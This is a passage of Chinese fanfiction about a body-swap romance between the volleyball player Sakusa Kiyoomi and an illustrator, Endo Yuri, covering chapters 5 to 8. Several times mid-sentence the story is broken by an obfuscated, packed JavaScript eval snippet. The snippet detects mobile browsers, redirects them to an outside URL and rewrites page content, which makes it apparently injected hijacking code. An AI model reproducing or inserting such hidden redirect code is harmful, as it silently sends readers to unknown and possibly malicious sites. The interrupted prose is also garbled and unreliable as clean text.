佐久早低头看了看自己的手:“有什么特别的吗?和平时一样。” “就是因为平时都是这样才很厉害啊!修剪得非常平整的指甲,骨节分明的手指,还有柔软又灵活的手腕,无不体现出佐久早选手作为一名职业选手给人的安定感,还有作为男性的……魅力。”由里越说越小声,因为她发现佐久早的视线从照片上移到了她的脸上。 完了,是不是夸太过火了,这样他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14548955|155345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会不会误会自己图谋不轨啊。 但是就算佐久早要把她扫地出门,第二天早上也得找她互换身体,所以她是不会那么轻易被赶走的。 应该是这样吧。 佐久早只是看着她,没有什么特别的表情。由里更小声地说了一句:“我是不是说话太大声了?” 佐久早没有回答,垂下眼睛。由里几乎有种他的嘴角在微微上翘的错觉。 这具身体看来真的不习惯早起,这不,起猛了,都看见佐久早圣臣笑了。 接着,他还伸手主动划了一下由里跟前的手机屏幕。之前为了方便讲解都是由里在拿着给他看,他干脆把手机接过来,指腹轻轻敲了敲第三张图:“这个呢?” 天啊。 由里的眼睛看不到他指的,甚至是她自己拍摄的照片,只看得见他修剪得非常平整的指甲,骨节分明的手指,还有柔软又灵活的手腕。 她甚至觉得他故意把动作放慢了。 这双手甚至今天早上还受她本人驱使过几分钟呢,怎么它们被佐久早使用的时候看起来就那么不一样? “呃……”由里深吸了一口气,在心里对自己说了一声“脑子,快转啊”,但最后只是干巴巴地说了一句,“这个是因为佐久早君做的饭看起来真的很好吃。” 她这回真听见佐久早笑了。 唉,果然天底下的帅哥都一样讨厌,哪怕是佐久早这种低调不爱拍照的人也会知道自己很迷人并为此洋洋得意。 但是佐久早为了感谢她一早起来就忙前忙后替他布光拍摄,给她也做了一份佐久早选手同款超好吃早餐,她又可耻地原谅了他的嘲笑。 “知道了,就这么发吧。”佐久早点击了“发送”键,“我得出门了,之后再告诉你进展。” 由里还沉浸在适才的视觉盛宴之中,从鼻子里短暂地“嗯”了一声。 佐久早走到门口,又回过头来看她——他居然还在笑着:“希望不是只有你一个人喜欢。” ??? 门被关上了。 这都……什么和什么啊! 一个人可以嘲笑远藤由里色令智昏,但是不能质疑她的审美与能力! 由里扑到门口打开门:“才不会只有我喜欢。” 古森正在跟佐久早一起等电梯,听到声音充满兴趣地往由里这边看了过来。第二次见到由里,他已经不觉得惊讶了,现在他很好地消化了佐久早的恋情,只是单纯为他们感到高兴。 “早安,圣臣的女朋友!”古森爽朗地招招手,“当然不会只有你喜欢啦,圣臣也很喜欢你喔。我帮你盯着他呢,他从来都没有主动和其他女生说过话!从来没有!” 由里僵直着,目光在佐久早和古森之间流连了几次,最终设法摆出一个笑脸:“谢谢你啊古森选手,我会为你应援的。” 古森眨眨眼:“我也会为你们的爱情应援的。” “闭嘴!”佐久早连他的洁癖都暂时搁置了,一把把古森拉进了电梯。 5. 第 5 章 都不用佐久早特意告诉由里,她只是像平时一样打开了社交软件,就看见连自己关注的友邻里都有人在转发佐久早的动态。 他的粉丝都知道他很低调,平时和他的互动就只是默默转发一下他的代言,在比赛的时候发一些用以加油的评论,但是其实大家都很期待能对喜欢的选手有更多的了解,难得看到他的生活照,纷纷奔走相告。 “时隔一个月!臣臣好久不见!” “啊啊啊啊我没看错吧!臣君居然非赛季也发动态了!” “佐久早选手的刀工比我报班学的还厉害,上帝到底为他关上了哪一扇门?” 大家讨论得其乐融融,甚至有人直接晒出了自己做的同款早餐。 由里当然非常开心,赶稿的手也更来劲了。 晚饭她从外卖、自己做饭和去便利店吃中选择了去便利店,因为在家做饭需要用酒精棉擦拭整个台面,在家吃饭需要用酒精棉擦拭整个餐桌,而去便利店只需要走两步,这对她和佐久早的身心健康都大有好处。 没想到等在便利店微波炉前加热便当的时候收到佐久早的消息。 【佐久早圣臣:远藤小姐,你出去了吗?】 【远藤由里:去吃饭了,家里怎么了吗?】 【佐久早圣臣:没事。】 【佐久早圣臣:我在冰箱里放了点心,作为今天的谢礼。】 【佐久早圣臣:谢谢。】 【远藤由里:!!!】 佐久早邀请由里来自己家借住时已经作为优势提前介绍过这一点——他每天都会在结束晚训之后才回家,大部分时候由里都可以一个人使用全部的公共区域。 所以他是专门回来的。 【远藤由里:佐久早君,你去俱乐部了吗?】 【佐久早圣臣:准备回去了,怎么了?】 【远藤由里:等我十分钟!】 【远藤由里:不!等我五分钟!】 【佐久早圣臣:?】 【远藤由里:我要亲耳听到你说这句话!】 【佐久早圣臣:……】 由里把饭从微波炉里取出来,准备三两口吃完然后赶回去。 这时她和佐久早的消息界面出现了视频通话的弹窗。 由里几乎没有印象和任何人打过视频电话。 她大学的舍友会给母父打视频,但是她已经很久没和他们说过话了。姥姥不会打视频,只会打电话,朋友们都是和她一样的画师,更喜欢用文字交流。 接通这条视频消息时,她无端地有些喉咙发干。 佐久早还没出门,口罩被他拉下来贴在下巴上。由里认出背景是佐久早家的门厅。 “谢谢。慢慢吃吧。”他说。 由里还没从进入视频通话的震撼里反应过来:“啊?” “不是说要听吗?”佐久早手持手机站在门口,他并没特意找角度,但是死亡顶光和镜头畸变丝毫没有埋没他的帅脸。 “不……不用客气。”由里不可思议地眨了眨眼,一句话说得卡壳了两次,说着说着她就笑了起来。 “笑什么?” “佐久早君为了不让我狂奔回家居然这么体贴,我觉得很意外。” 佐久早瘪了瘪嘴,他这样的时候有点像小鸭:“如果远藤小姐得了急性阑尾炎,明天要从病床上起来的人就是我了。” 果然,你永远不能指望佐久早圣臣只说好话。 他顿了顿,又说:“其实还有其他的事情想和你商量一下,正好在电话里说,可以吗?” “当然。” “周末要去东京比赛,你方便和我一起去吗?” “如果我不方便的话,我们就都要不方便了。”由里说,“既然我们都被卷进来,佐久早君就不需要每次都用麻烦我的语气跟我说啦。” 佐久早叹了口气:“我还没说到问题所在,我们去外地比赛是住双人间的,不知道你会不会不自在。” 由里好奇道:“那你们是怎么分房间的呀?” “一般是按照背号,如果有人想换也可以商量着换。” 由里的脸上哪有什么不自在:“那你能跟宫侑选手换到一起吗?我想看看他是不是真的像照片上那么帅。” 佐久早的嘴角抽了抽:“你喜欢他?” “也说不上吧,我还不了解他啊,我只是觉得他很帅。” “可是他很吵。” 由里失落道:“喔,那没关系,你想和谁一起都可以。” “好吧,我走了。” 由里回家之后第一件事自然是去看佐久早专程回来给她带的礼物,看到包装上的“Scenario”,她忍不住叫出了声。 这是一个非常难买的甜点品牌,每天都是限量发售的,想要订购的话,只能每天上午十点卡着点去网站预定。 这种高端店家不仅难抢,定价也不会低。由里虽然久仰大名,但从来没有尝试过。 她打开包装盒,发现佐久早给她定了六个甜甜圈,这家店所有的口味都在里面了。 【远藤由里:佐久早君,你是这个世界上最好的人……】 【远藤由里:我要每天去“最受欢迎的运动员”排行榜给你投票。】 【远藤由里:直到你排到第一为止!】 对面一直是未读状态,佐久早应该已经开始训练了。 由里围着这六个甜甜圈360度大拍特拍,才饱含不舍地吃了一个,回到卧室里继续画稿子的时候感觉身体轻飘飘的。 她今天画男人画得特别顺利,因为最近有什么动作拿不准的都趁跟佐久早交换身体的时候偷偷用他的身体对着镜子摆着研究过了。 直到她的手机弹出了新消息,她才注意到时间,这个时候佐久早应该结束训练了。 由里像被抓包了一样心虚地往紧闭着的房门那边瞟了一眼才拿起手机。 佐久早无视了她在聊天框里的尖叫,自顾自地说起他自己想说的事。 【佐久早圣臣:远藤小姐,你睡了吗?】 【远藤由里:还没有,有什么事吗?】 【佐久早圣臣:有事想当面和你说。】 【佐久早圣臣:不过现在有点晚了,如果你介意的话就算了。】 是什么事情这么着急,还一定要当面说?由里有点疑惑地歪歪头。 【远藤由里:我没问题啊。】 她走出门,想看看佐久早在做什么。后者就伫立在她面前,像一堵线条流畅的墙,把她吓了一跳。 “吓到你了?抱歉。” “没事的……怎么了吗?” 佐久早一脸严肃地按住手背,把手腕掰了过去:“你知道我的手腕可以这样吗?” 由里十分惊讶:“确实刷到过图片,原来实物看起来更厉害啊。” “那家伙做不到。” 由里有点莫名其妙:“谁啊?” 佐久早奇怪地看了她一样,就好像在用眼神责问她为什么会不知道:“宫侑。” “那也很正常吧,因为佐久早君真的比大多数人都要柔软……等一下,我不是说了我对宫选手没有别的意思吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14548956|155345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “喔。”佐久早分明是不买账的意思。 没想到一心一意做事的佐久早选手也有八卦的时候,她这一时花痴可真是跳进信浓川也洗不清了。 还没等她继续争辩,佐久早就结束了话题:“晚安。” 由里决定笑一笑算了:“晚安。” 住在佐久早家的生活跟由里本来的生活其实没有什么区别——当然,除了房子变大了,进屋要消毒,还有每天早上要跟佐久早接吻以外。 自从发现了佐久早人美心善的一面之后,跟他亲嘴还怪让人脸红心跳的。 但是一整个星期,佐久早都没针对这件事说什么,可能心跳加速这种体验只要她离开了佐久早的身体就不会继续下去了吧。 周末的早上,由里从佐久早住的酒店房间醒来了。 哦对,她跟佐久早一起来东京出差了。 佐久早给她订的房,公费出差真好。 她记得佐久早的手机闹钟默认的铃声不是现在播放的这个,难道这个是别人的吗? 她翻过身看向另一张床,虽然对方正在平躺着,看不清楚脸,但是她一下就看到了染成金色的头发。 天啊,是宫侑选手!佐久早也太大方了吧,真的有求必应啊。 由里决定打开手机,继续在“最受欢迎的运动员”投票里给佐久早投票。 看到锁屏界面,由里才想起现在她的手机不在手边,这是佐久早的手机。 她看了一眼时间,佐久早说他们今天七点半起床就可以了,可是现在才六点半。 她看了看闹钟还在耳边响着的宫选手,后者在闹钟响了一分钟后勉强伸出手把闹钟关掉了,连眼睛都没有睁开。 可能他设错闹钟了吧。 还有一个小时呢,要不再替佐久早睡会? 她闭上了眼睛。 她才刚睡着,宫侑的闹钟又突如其来地响了起来。 她看了一眼时间,现在是六点四十。 由里十分迷惑,只见宫侑再次伸出手把闹钟关掉了,他只是翻了个身,丝毫不受任何影响。 怪不得运动员每天都那么精力充沛,他的睡眠质量也太好了吧。 由里躺了一小会,试探性地再次闭上了眼。 还没等她酝酿完睡意,闹钟又响了。 由里现在明白了,他这是每十分钟定了一个闹钟啊。 确实是有那种一个闹钟叫不醒的人呢。 反正睡不着了,干脆早点起来洗漱吧。由里认命地爬起身,顺便给佐久早发了一条消息。 【佐久早圣臣:佐久早君,你醒了吗?】 【远藤由里:那家伙的闹钟现在就响了啊。】 原来他知道,怪不得他嫌宫侑吵呢,毕竟佐久早平时都不用开闹钟就能自然醒。 【佐久早圣臣:呜呜,是三十分钟之前。】 【远藤由里:既然你也醒了,我们早点见吧。】 【佐久早圣臣:OK!刷牙中~】 由里洗漱完,穿上了佐久早提前留出来的运动服和跑鞋。宫侑的闹钟在这个过程中又响过两遍了。 【佐久早圣臣:需要把宫选手叫起来吗?】 【远藤由里:他的闹钟响了多少遍了?】 【佐久早圣臣:五遍。】 【远藤由里:可以。】 由里正在思考该用什么样的称呼开口,佐久早突然把消息撤回了。 【远藤由里撤回了一条消息】 【远藤由里:不用管他。】 【佐久早圣臣:?】 6. 第 6 章 到底叫还是不叫啊,由里盯着屏幕上滑了几下,好在佐久早的消息来得也不算慢。 【远藤由里:如果我回来他还没醒,我会叫他。】 【远藤由里:你先出来找我吧。】 由里刚读完消息,就听到了宫侑翻身的声音。 他睡眼惺忪地撑着脑袋支起半边身体:“早啊臣臣。” 由里本能地照葫芦画瓢道:“早啊侑侑。” “嗯。”宫侑还没醒透,但这时候的他看起来和照片里不太一样,显得非常温柔,脸上挂着慵懒的微笑。 他真的好帅啊,由里一下就代入了许多位自己想画的帅哥角色,恨不得现在就拿起笔把这一幕画下来。 但这一幕并没有持续多久。 宫侑一个鲤鱼打挺从床上弹了起来,表情就像看到外星人:“你说什么?” “早?” “不是,后面呢?”由里觉得她从来没见过一个人的眼睛能瞪得像此时此刻的宫侑一样大。 由里愣了愣,她突然发现自己其实不知道佐久早平时是怎么称呼宫侑的。他每次用的词都是“那家伙”。 不管正确答案是什么,看来她刚才输入的答案都大错特错了。 她飞速地说了声:“没什么,我先出去了。” 佐久早圣臣恪守计划的身体就这样神色匆匆地从寝室里逃走了。 酒店走廊里有摄像头,为了不在赛季给佐久早制造不必要的绯闻,他们约定好到训练中心的园区里见面。 虽然发生了称呼惨案,但是由里觉得自己至少叫的是一个足够亲切的称呼,应该没什么大事。她判断对佐久早只字不提也是说得过去的。 当然,最重要的是她怕佐久早知道之后生气,他们还得接吻呢。 人一心虚就容易话多,她小心翼翼地打了招呼,小心翼翼地提问:“你怎么真的跟宫侑选手换到一起住了啊?” 佐久早似乎没看出来她的反常,只是叹了口气:“你知道他的背号是多少吗?” “不知道啊。” “看来你也没那么关心他啊。” “都说了我只是觉得他很帅,其他方面确实不了解啊……”由里话说一半,就被佐久早扯着衣领往下拉。急剧拉近的距离让她情不自禁地屏住呼吸,更不要提说话了。 这次不像在家里,他们都站在步道旁,而佐久早的身体确实太高了,他想快点换回自己的身体,这样也是十分正常的。 但是就好像他在主动亲自己一样。 特别是换回身体后,刚才柔软的触感好像还留在嘴唇上,自己的手还拉着佐久早的衣领。 佐久早雕塑一般的帅脸还在近在咫尺的地方说话:“他是13号。” 由里登时面红耳赤,飞也似地后退逃开了。 她反应了一会才想起刚才的话题还在继续:“佐久早君不是15号吗?” 佐久早的神色看起来有点微妙的高兴。他说:“14号的前辈上个赛季退役了,我们现在没有14号球员,所以我和他按顺序本来就是分到一起的。” “喔……那还真的很巧。” 由里嘴上应答着,身体却有一种很奇妙的感觉,明明昨天还好好的,今天她觉得腿都有点软了。 难道这就是心动的感觉吗? 佐久早说:“对了,今天早上我有点难以静下心来,所以用你的身体晨跑了一会,抱歉。” 呃。 她悬着的心终于死了:“怪不得我腿酸了。” 佐久早不以为意,还在说一些逆耳忠言:“远藤小姐,你的身体处于严重的亚健康状态,虽然这样说有些冒犯,但是我觉得你必须要增加一些锻炼才行,还有……喔,早上好。” 由里顺着他的目光看向正在向他们走来的人。 这位陌生男人穿着白色的运动外套,由里认出这是佐久早提及过的施怀登·阿德勒的球衣。 他跟佐久早打了招呼,但是竟然没有马上离开,而是表现出可以攀谈几句的样子。 原来佐久早有朋友啊。由里在心中暗暗张大了嘴。 “这是牛岛若利君,一位非常优秀的选手。”佐久早说,“这是远藤由里小姐。” 牛岛也对她点点头,他看起来很严肃,所以由里对他之后的提问有点意外,他说:“是你的女朋友吗?” 佐久早说:“不是,她是我的邻居。” 住在一间房子里的邻居喔。由里腹诽道。 “没想到若利君也会八卦啊。”佐久早继续说着,他的声音里有了笑意。 由里更加惊讶,原来佐久早和朋友交往的方式那么普通,他们并没有进行全身消毒后对打二百个来回,而是像一般人一样对朋友有说有笑。 牛岛愣了愣:“抱歉,因为之前你问了给女性买甜食的事情,是我冒昧了。” 他怎么会知道啊?由里看看他又看看佐久早。 佐久早说:“因为远藤小姐帮助了我,那个是作为谢礼赠送的。” 牛岛点了点头:“原来如此,我确实以为你会跟更干练的职业女性恋爱。” 嘿,我还在这呢!因为你个子高就可以假装看不见我吗?由里有点生气了:“你们是因为说话都很难听才变成朋友的吗?” 牛岛看起来后知后觉这话有点歧义,解释说:“我不是那个意思,远藤小姐看起来像作息比较自由的人,圣臣他……过着分毫不差的生活。” 那怎么了?就因为她作息颠三倒四荣获黑眼圈两个,跑两步晨跑就肌肉酸痛,她就配不上每天十点准时睡六点准时起的顶尖运动员佐久早圣臣了吗? 由里一脸不服地看向佐久早。佐久早居然在笑:“远藤小姐也是做着了不起的工作的人。” 你别说,人长得帅就是好啊,他这么轻飘飘地说了句本来就是事实的话,由里就不怎么生气了。 “看来人不可貌相。”牛岛若有所思地点了点头。 感受到由里质问的目光,牛岛抱歉地说:“这不是褒义的话吗?” 他问得太真诚了,由里都说不出话来了。她明白了,这个人一点恶意都没有,他只是单纯让人很生气。 等他打完招呼继续去晨跑了,由里问佐久早:“我们那天怎么没看你朋友的社交账号?” 佐久早说:“若利君没有公开账号。” “他幸好没有。” “为什么?我觉得很可惜,若利君的击球非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14548957|155345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常漂亮,如果他能在账号上分享一些心得,我会很高兴的。” 由里回想着刚才的对白:“如果他在账号上说错话了,对家也会很高兴的。” “什么是对家?” “就是一些不希望他过得太好的人。” 佐久早对这个回答很不满意:“若利君是一个很沉稳、善良、人品贵重的男人,为什么他会有对家?” 由里八辈子没见过别人在现实中用这样的词形容朋友了:“佐久早君,你是从古代文学里穿越过来的吗?” 佐久早撇了撇嘴,决定不接她的话茬:“我要去吃饭了,我买了一些吃的东西放在你的房间,如果你想继续休息就不需要赶酒店早饭的时间了。” “啊,对了!”由里说,“佐久早君为了给我买甜甜圈特意跟别人打听了吗?” “只问了若利君,因为他很可靠,不会随便对别人说。”佐久早说,“而且他的朋友是甜品师。” 不得不说的是,牛岛打听到的结果太正确了。一整个星期,由里都因为吃到了Scenario而非常幸福。 牛岛选手也有好的时候。 “我决定当你们两个的粉丝。” “今天晚上我就是和他比赛。” “那……我还是当佐久早君的唯粉吧。” “‘唯粉’又是什么?”佐久早疑惑。 “唯粉就是一心一意地喜欢佐久早君的人。” 佐久早的眉毛跳了跳。 由里补充:“作为球迷的那种喜欢。” “一周前你还在我的手机上搜索‘佐久早圣臣是谁’。” 看来她用佐久早的手机忘记删聊天记录了。 可是谁在互换身体的情况下能一点都不紧张,还不想知道对方是谁呢! 由里理不直气也壮:“爱可以开始于随时随地。” “可能吧,”佐久早垂下眼睛想了想,“我得走了。” 他们之间的沉寂没有维持多久。 由里甚至还没回到酒店房间就收到了佐久早的消息。 【佐久早圣臣:宫一直问我为什么不叫他“侑侑”了。】 【佐久早圣臣:你有什么头绪吗?】 【远藤由里:……】 【远藤由里:对啊,为什么会这样呢?】 【佐久早圣臣:你和他第一次见面有必要叫得这么亲切吗?】 【远藤由里:因为我用的是佐久早君的身体啊!】 【远藤由里:谁知道你天天和他见面还叫得那么生疏啊——】 【远藤由里:你叫古森君“元也”,叫牛岛君“若利”,难道不是很自然地就猜成那样了吗?】 【佐久早圣臣:元也和我认识二十多年了,而且我的舅母和舅舅也叫“古森”,如果不叫名字会乱套的。】 【佐久早圣臣:若利君是我重要的朋友和对手,和其他人怎么能一样?】 【佐久早圣臣:而且,远藤小姐,我们也是天天见面的关系。】 【远藤由里:好吧,对不起臣臣。】 由里发了一个哭泣小猫的表情。 佐久早那边显示了“已读”,但过了很久才发了一个无语小猫的表情。 7. 第 7 章 【远藤由里:看在我今天刚成为你的唯粉的份上原谅我吧。】 【远藤由里:粉丝服务对于一位优秀的选手来说也是很重要的啊。】 【佐久早圣臣:你一场我的比赛都没看过。】 【远藤由里:我今天晚上不是就准备在电视上看了吗?】 【佐久早圣臣:真的吗?】 【远藤由里:当然了,我会坐在电视机前第一排加油的。】 佐久早沉默了一段时间,由里以为他已经出发去踩场了,正要扣上手机开始深度沉浸在赶稿之中,手机屏幕又亮了起来。 【佐久早圣臣:到现场看吧。】 【佐久早圣臣:记得提前去换纸质票。】 然后他发来了一份电子票据。 上面写得清清楚楚,场次是今天晚上的场次,对阵的队伍是MSBY和AD。 天啊。由里顿时从座位上跳了起来。 【远藤由里:啊啊啊真的吗????】 【远藤由里:不是,佐久早君,这样是不是太麻烦你了!】 【佐久早圣臣:不会,这个本来就是工作人员和选手的区域,不对外出售的。】 【远藤由里:我真的会拼上性命给你加油的!】 佐久早没读她的消息,可能这次真的出发了。 周六晚上的这场球赛是这一轮次的开幕战,又是全国最顶尖的两支球队的比赛,才只到下午,由里在场外就已经见识到了人山人海的盛况。 她去便利店排了一会队,才轮到她换票。因为人很多,机器旁边有店员在帮忙疏导。 这位店员小姐看到她的票根,大加赞赏地说了一句:“是第十排呀,这种比赛就应该坐到这种好位置仔细观看。” 由里一场比赛都没看过,其实并不知道坐在第十排是什么感觉,看她很忙也不便说太多,只是附和道:“我也很期待!” 没想到店员小姐神秘地凑近她说:“我这次坐在第二排喔,我能抢到第一排,但我没抢,因为第一排坐下的时候会被栏杆挡住视线。” “哇……”由里情不自禁地赞叹,她垂头看了一眼店员的工牌,“外园小姐肯定是非常忠实的球迷吧!” 外园自豪地笑了:“当然啦,我从国中就开始看了!现役的每一位选手我都能叫得上名字喔。” 由里也很为她高兴:“真好啊!时间能快点到你下班的时候就好了!” 和友善的球迷交流过后,由里的心情也变得很好。人们不是经常说有了好的开头事情就会越来越好吗?她还挺信奉这一理论的。 她希望佐久早的运气也像她一样好。 进入观众席,由里感觉身体里的血液流速都要加快了。 这里的气味,声音,灯光,齐齐整整穿着自己支持队伍的球衣的观众,还有球落地时的回响,是她在任何地方都没有见过的。 学校体育馆、野球场、球形影厅,或者很大很大的阶梯教室,各种她印象里称得上辽阔的空间,都没有给过她这种感觉。 佐久早就是在这样的地方比赛的啊。 “真了不起……”由里一边说着一边坐到自己的座位上,第十排听起来和球场有些距离,但是也已经是让她意想不到的近距离了。 坐在这里,她突然觉得一切都像一场梦。 突如其来地和完全不认识的陌生人因为灵魂互换相识,才认识一个星期就住到了同一间公寓里,知道了很多事情,认识了很多人,踏足了从未见过的世界。 她此前一直过着按部就班的生活,或者说比按部就班还要辛苦一些的生活。 她国中毕业的那天,妈妈就出走了。 在毕业典礼的前一天晚上,替她熨平了领带的妈妈,却在她毕业当天像领带上的褶皱一样消失不见了。 她并不怪妈妈,因为爸爸有时候真的很糟糕。她看很多书,但是不敢看里面有酗酒的爸爸的那种。 等她半工半读地读完了高中,爸爸就叫她辍学,把读书的机会让给弟弟。当然,意思是她还得把钱给他还债。 可是画画是妈妈教给她的,是她和妈妈唯一的联系,她不想就这么放下。 即便没有钱去美术塾集训,她也拼命挤出时间来做了考前练习,申请上了学费最低廉的公立美大。 奶奶偷偷给她付了第一年的学费。由里也从家里逃走了。 所幸她的画技已经非常稳定,上了大学没多久就找到了漫画助手的兼职。一张一张稿子画下来,她也作为网漫作者出道了。 虽然她当上了作者,但也没有进行自己的创作。她画的全都是根据别人的小说改编的漫画,出版社要什么她就给什么。 出道之后她每天画完画就睡觉,像是要把这辈子没睡够的觉全都睡回来一样。 有时候她已经忘了自己最初想要画的故事是什么了,只要能挣到钱让她和奶奶过上安稳的生活,那就已经可以了。 如果还有多的一点点钱,她就会用来买点甜食。 因为很长时间以来,她都不舍得吃。 在遇到佐久早圣臣之前,她已经很久都没有感受过了——以前从妈妈身上得到,后来从漫画书里得到的——这样的感觉,未知的,新鲜的,充满希望的感觉。 这一切都轻飘飘的,好像被风一吹就会飞走。 赛末点。 佐久早以一个角度极其刁钻的扣球结束了比赛。 这是一场恶战,一直打到第五局,每一局的比分都非常胶着。 电子记分牌上的比分显示了“2:3”。 东京是MSBY的客场,为他们欢呼的人不算多数,但是所有的观众都为拼命抓住每一分的选手献上了经久不息的掌声。 而佐久早突然回过头来,穿过人群和她对上了眼。 他之前确实全程都集中在比赛上,于是回头之后找了一会才找到她。 可是一看见由里,他的神色就变得相当得意。他用嘴型对她说“看见了吗”。 所有人都很累了,但包括他在内的成员们还在为自己赢得的胜利雀跃着。 由里笑了,一直为他们紧张的赛况紧绷着的神经也跟着松懈下来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她决心要帮佐久早照顾好外园小姐,誓死要保护好他的形象。 首先,她一边签名一边不时同热情地对自己诉说着喜爱的外园小姐对视,努力地让她感受到自己是真心愿意听粉丝的心里话的。 接着,她摘下口罩,主动接过了外园的手机,由自己举着来为两人拍摄合影。 学生时代拍摄合影的时候,她记得总有人喜欢往后站,为的是显脸小。不管外园小姐介不介意,考虑周到一些总是没错的。 反正佐久早的脸很好看,放大对他也没什么影响。 最后,出言感谢粉丝的支持是十分必要的。 由里说:“一直以来能支持我真的非常感谢,我也很期待今天晚上的比赛,我们一起创造幸福的时光吧,外园小姐!” 外园倒吸了口冷气:“佐久早选手,你还记得我?” 哎? 他们以前认识? 不对!她怎么不小心把外园小姐的名字说出来了啊? 是因为昨天刚和外园见过面她才记得的,至于佐久早记不记得,记得什么,她也无从得知啊! 就算她想用“工牌上写着名字”这种话调和一下也完全没办法。由里都不用仔细看也知道此时此刻根本就没有什么工牌,因为外园小姐根本就没有穿工作服。 那现在该说什么啊…… 8. 第 8 章 由里心中警铃大作,非常担心一个不小心就给佐久早捅了篓子。 但是外园小姐太开心了,完全沉浸在被喜欢的选手记住的喜悦中。她深深的鞠了个躬:“谢谢你,佐久早选手,今天也是以后也是,我会一直为你加油的!” 由里也同她招招手,她们就这样分别了。 这个是不是得赶紧告诉佐久早一下啊…… 由里打开消息界面。 【远藤由里:你为什么给我换备注了?】 【臣臣:这个我之后再跟你说吧,现在有件比那个更大的事。】 “还有什么能比你管宫叫‘侑侑’更大的事吗?”佐久早用由里的声音在她背后说道。 这个时候听到自己的声音,简直就像是自己的内心在审判自己一样。 由里还在思考怎么解释,但自己口袋里属于佐久早的手机的电话铃声响了起来。 屏幕上赫然出现“明暗修吾”几个大字。 由里昨天已经看过了比赛,认出了这个人是MSBY的队长。 佐久早还不明就里:“为什么队长会给我打电话?” 难道这已经是一个舆论事故级别的事件了吗?由里在万般惊恐之下飞快地亲了自己的身体一口。 佐久早回到了他自己的身体里,接通了电话:“你好?” 电话那边的声音连由里都听得很清楚:“佐久早,你怎么回事?” 佐久早莫名其妙地看着由里,用口型说了句“什么意思”。 电话那边队长继续说:“突然之间这么有长进。” 啊?这下连由里都莫名其妙起来。 “你没看到吗?有很有名气的排球博主发了和你偶遇的照片,才几分钟转发就破千了。现在大家都称赞你连几年前只见过一次的球迷都记得很清楚。” 由里更加震撼了,外园小姐居然是“很有名气的排球博主”啊。 佐久早沉默了几秒,似乎在消化这件完全未知的新消息:“谢谢,我会努力的。” 挂掉电话,他说:“这就是你想告诉我的更大的事吗?” 由里一五一十地把实情说了。 然后他们一起打开了外园小姐的主页。 一般体育博主为了呈现出相对客观的讨论,都不会明说自己喜欢的球员是哪一位。外园小姐却不一样。 她似乎只是把这个账号当作一个普通的分享号,在置顶上光明正大地写出了自己的全部粉籍。 但这似乎并不影响别人愿意看她的评论文章,因为她几乎在所有队都有不止一个喜欢的球员,而且这份喜爱的球员名单还是实时更新的。 “这位外园小姐的账号确实堪比专业的排球媒体号,她文章里提到的很多比赛细节我都有印象,她作出的评论也和我们讨论过的情况差不多。”佐久早翻阅了她的动态之后得出了这样的结论,“还有她置顶的列表里都是现役成绩突出的选手。” “所以她完全是看当下的实力来选择自己最关注的选手的?” “嗯,曾经关注的人如果状态下滑就会被移除列表。” “所以可以说外园小姐不是任何人的粉丝,而是排球的粉丝啊……”由里感叹着,“但是佐久早君一直都在她的置顶上。” “因为我的成绩到目前为止确实都非常突出。” 这是无可辩驳的事实,在实力为王的排球界,佐久早毫无疑问是最值得喜欢的选手之一。 他们重新翻到了最新动态,那条关于佐久早能记住多年一见的球迷的动态已经快要突破万转了。 【佐久早选手看起来对什么都淡淡的,原来这么重视粉丝呜呜呜。】 【坐过前排的都知道佐久早选手虽然有洁癖但是从来不拒绝跟观众击掌的。】 【这么久之前见过的人都能记得,天生就是做大明星的料啊。】 也有以前不认识他的人留评。 【这是生图吗,没看过排球以为是演员。】 【因为自拍只能看到脸看不到身材吧,来人上臣臣胳膊照。】 甚至因为这条动态,佐久早的账号还涨了不少粉,随着转发扩散还在继续增长。 “好像比上次你帮我发照片的时候热度还要高了。”他说。 由里脑子转得飞快,把推文里附带的合影点开了:“现在的问题是你一定要记住这位外园小姐,不然如果再见面你忘了她的话这个能熟记粉丝的美名就要被打破了。” 佐久早只是随着她的动作快速扫了一眼:“我本来就记得她啊。” “哎?她不是说只在几年前见过一次吗?” “可是我对遇到的每个人的卫生状况和健康状况都很谨慎。” “所以?” “我会仔细观察遇到的每一个人。” “你的意思是……这样就能记住每一个人吗?”如果这是真的,由里认为科学界有必要仔细研究一下佐久早的左右脑构造。 一个人怎么能做到在运动方面获得顶尖成就的同时,脑容量还足够装下几年间见过的所有人? “当然不是,”佐久早说,“但是如果有特别的讯息就可以记住的。那次赛后举办了单独的握手会,她在和我握手之前用手部消毒喷雾洗手了。” 